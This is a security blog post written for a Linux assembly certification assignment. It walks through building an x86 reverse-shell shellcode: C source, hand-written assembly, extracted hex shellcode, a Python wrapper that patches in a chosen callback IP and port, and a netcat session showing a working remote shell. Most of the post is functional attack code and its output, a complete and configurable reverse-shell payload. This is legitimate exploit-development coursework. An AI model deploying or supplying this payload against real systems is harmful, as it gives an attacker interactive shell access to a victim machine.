Security oriented blog

SLAE Assignment #2 | Reverse shell

27 Jan 2018

Assignment #2 in the SLAE exam is to create a exec reverse shell shellcode.

I rewrote the c-program in SLAE Assignment #1 | Bind shell to become a reverse shell instead of a bind:

#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <unistd.h>

#define PORT 4451

int main(char* arg[], int argv){
    struct sockaddr_in addr;
    addr.sin_family = AF_INET;
    addr.sin_port = htons(PORT);
    inet_aton("127.0.0.1", &addr.sin_addr.s_addr);

    int sockFD = socket(AF_INET, SOCK_STREAM, 0);


    int sizeOfAddr = sizeof(addr);

    connect(sockFD, (struct sockaddr *) &addr, sizeOfAddr);

    dup2(sockFD, STDOUT_FILENO);
    dup2(sockFD, STDIN_FILENO);
    dup2(sockFD, STDERR_FILENO);

    char *argvV[] = {"/bin/sh",NULL};
    char *envp[] = {NULL};
    execve("/bin/sh", argvV, envp );

    return 0;
}

Notable changes from the previous version:

Index for the sys_connect call is 3:

tomasuh@osboxes:/mnt/hgfs/SLAE/assignment-2$ cat /usr/include/linux/net.h | grep SYS_CONNECT
#define SYS_CONNECT     3               /* sys_connect(2)   

Now lets modify the assembly from assignment 1.

global _start

section .text

_start:

socket:

xor eax,eax
push eax ;protocol
inc eax
push eax ;SOCK_STREAM
inc eax
push eax ;AF_INET

mov al, 0x66 ;sys_socketcall
mov ebx, [esp+4] ; socket(AF_INET, SOCK_STREAM, 0)
mov ecx, esp ; socket args
int 0x80

mov edi, eax

; file descriptor now in eax

bind:

push 0x11223344 ;ip replace me in wrapper
xor ebx,ebx ;zero out ebx

;AF_INET (0002) and sin_port ffff
;push 0xcdab0002 <-- zero bytes
mov cx, 0xcccc ; port number, replace me in wrapper
shl ecx, 0x10
mov cl, 0x2 ; <-- AF_INET
push ecx

;setup arguments
mov [esp-8],esp ;load the sockaddr struct address  on the stack at correct offset

push 0x10 ; size of sockaddr_in is 16 bytes

sub esp,0x4 ; correct the stack offset because of preload of sockaddr_in struct

push eax ; file descriptor

mov al, 0x66 ;sys_socketcall
mov bl, 0x3 ; connect(int sockfd, const struct sockaddr *addr,socklen_t addrlen);
mov ecx, esp ;arguments
int 0x80

dup2:
xor ecx, ecx
mov eax, edi ;eax=fd 
jump:

mov al, 0x3f ; dup2 sys call
int 0x80 ;int dup2(int oldfd, int newfd);
inc ecx ;
cmp ecx,0x2 ; call dup for stdin,stdout,stderr
jle jump

execve:
xor eax,eax
push dword [esp-8] ; referencing null being pushed below
push eax ;ends /bin//sh with null and argv and envp as null arguments

mov edx, esp; envp
mov ecx, esp ; argv
push 0x68732f2f;//sh
push 0x6e69622f;/bin
mov ebx, esp
mov al, 0xb ;; execve(const char *filename, char *const argv[],char *const envp[]);
int 0x80

Compiling and exporting shellcode:

tomasuh@osboxes:/mnt/hgfs/SLAE/assignment-2$ ../tools/format_shellcode.py reverse_shell
Python style shellcode:
"\x31\xc0\x50\x40\x50\x40\x50\xb0\x66\x8b\x5c\x24\x04\x89\xe1\xcd\x80\x89\xc7\x68\x44\x33\x22\x11\x31\xdb\x66\xb9\xcc\xcc\xc1\xe1\x10\xb1\x02\x51\x89\x64\x24\xf8\x6a\x10\x83\xec\x04\x50\xb0\x66\xb3\x03\x89\xe1\xcd\x80\x31\xc9\x89\xf8\xb0\x3f\xcd\x80\x41\x83\xf9\x02\x7e\xf6\x31\xc0\xff\x74\x24\xf8\x50\x89\xe2\x89\xe1\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"

NASM stylish:
0x31,0xc0,0x50,0x40,0x50,0x40,0x50,0xb0,0x66,0x8b,0x5c,0x24,0x04,0x89,0xe1,0xcd,0x80,0x89,0xc7,0x68,0x44,0x33,0x22,0x11,0x31,0xdb,0x66,0xb9,0xcc,0xcc,0xc1,0xe1,0x10,0xb1,0x02,0x51,0x89,0x64,0x24,0xf8,0x6a,0x10,0x83,0xec,0x04,0x50,0xb0,0x66,0xb3,0x03,0x89,0xe1,0xcd,0x80,0x31,0xc9,0x89,0xf8,0xb0,0x3f,0xcd,0x80,0x41,0x83,0xf9,0x02,0x7e,0xf6,0x31,0xc0,0xff,0x74,0x24,0xf8,0x50,0x89,0xe2,0x89,0xe1,0x68,0x2f,0x2f,0x73,0x68,0x68,0x2f,0x62,0x69,0x6e,0x89,0xe3,0xb0,0x0b,0xcd,0x80

Now lets create a wrapper around the shellcode to be able to set IP and port:

#!/usr/bin/python

import struct
import socket

def format_shellcode(ip, port):
  return "\\x31\\xc0\\x50\\x40\\x50\\x40\\x50\\xb0\\x66\\x8b\\x5c\\x24\\x04\\x89" +\
          "\\xe1\\xcd\\x80\\x89\\xc7\\x68" +\
          ip +\
          "\\x31\\xdb\\x66\\xb9" + \
          port + \
          "\\xc1\\xe1\\x10\\xb1\\x02\\x51\\x89\\x64\\x24\\xf8\\x6a\\x10\\x83\\xec" + \
          "\\x04\\x50\\xb0\\x66\\xb3\\x03\\x89\\xe1\\xcd\\x80\\x31\\xc9\\x89\\xf8" + \
          "\\xb0\\x3f\\xcd\\x80\\x41\\x83\\xf9\\x02\\x7e\\xf6\\x31\\xc0\\xff\\x74" + \
          "\\x24\\xf8\\x50\\x89\\xe2\\x89\\xe1\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f" + \
          "\\x62\\x69\\x6e\\x89\\xe3\\xb0\\x0b\\xcd\\x80"

def get_ip(addr):
  return socket.inet_aton(addr)


def packPort(port):
  return struct.pack("!H", port)

def format_val(string):
  return "\\x" + "\\x".join("{:02x}".format(ord(c)) for c in string)

ip = raw_input("IP:")

if ip == "":
  ip = "172.16.143.141"

ipEnc = format_val(get_ip(ip))

port = int(raw_input("Port:"))

portEnc = format_val(packPort(port))

print format_shellcode(ipEnc, portEnc)

Running it:

tomasuh@osboxes:/mnt/hgfs/SLAE/assignment-2$ ./wrapper.py 
IP:172.16.143.141
Port:4444
\x31\xc0\x50\x40\x50\x40\x50\xb0\x66\x8b\x5c\x24\x04\x89\xe1\xcd\x80\x89\xc7\x68\xac\x10\x8f\x8d\x31\xdb\x66\xb9\x11\x5c\xc1\xe1\x10\xb1\x02\x51\x89\x64\x24\xf8\x6a\x10\x83\xec\x04\x50\xb0\x66\xb3\x03\x89\xe1\xcd\x80\x31\xc9\x89\xf8\xb0\x3f\xcd\x80\x41\x83\xf9\x02\x7e\xf6\x31\xc0\xff\x74\x24\xf8\x50\x89\xe2\x89\xe1\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80

Now we can try to run the shellcode:

tomasuh@osboxes:/mnt/hgfs/SLAE/assignment-2$ ../tools/runShellcode.py "\x31\xc0\x50\x40\x50\x40\x50\xb0\x66\x8b\x5c\x24\x04\x89\xe1\xcd\x80\x89\xc7\x68\xac\x10\x8f\x8d\x31\xdb\x66\xb9\x11\x5c\xc1\xe1\x10\xb1\x02\x51\x89\x64\x24\xf8\x6a\x10\x83\xec\x04\x50\xb0\x66\xb3\x03\x89\xe1\xcd\x80\x31\xc9\x89\xf8\xb0\x3f\xcd\x80\x41\x83\xf9\x02\x7e\xf6\x31\xc0\xff\x74\x24\xf8\x50\x89\xe2\x89\xe1\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"

And at the same time in another terminal:

tomasuh@osboxes:/mnt/hgfs/SLAE/assignment-2$ nc -l 4444
ls
1
peda-session-dash.txt
peda-session-reverse_shell.txt
poc
poc.c
reverse_shell
reverse_shell.asm
reverse_shell.o
wrapper.py
exit
tomasuh@osboxes:/mnt/hgfs/SLAE/assignment-2$ 

Great, it worked out :)

It should be noted that IP-addresses with null-bytes are not supported.


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE - 569

comments powered by Disqus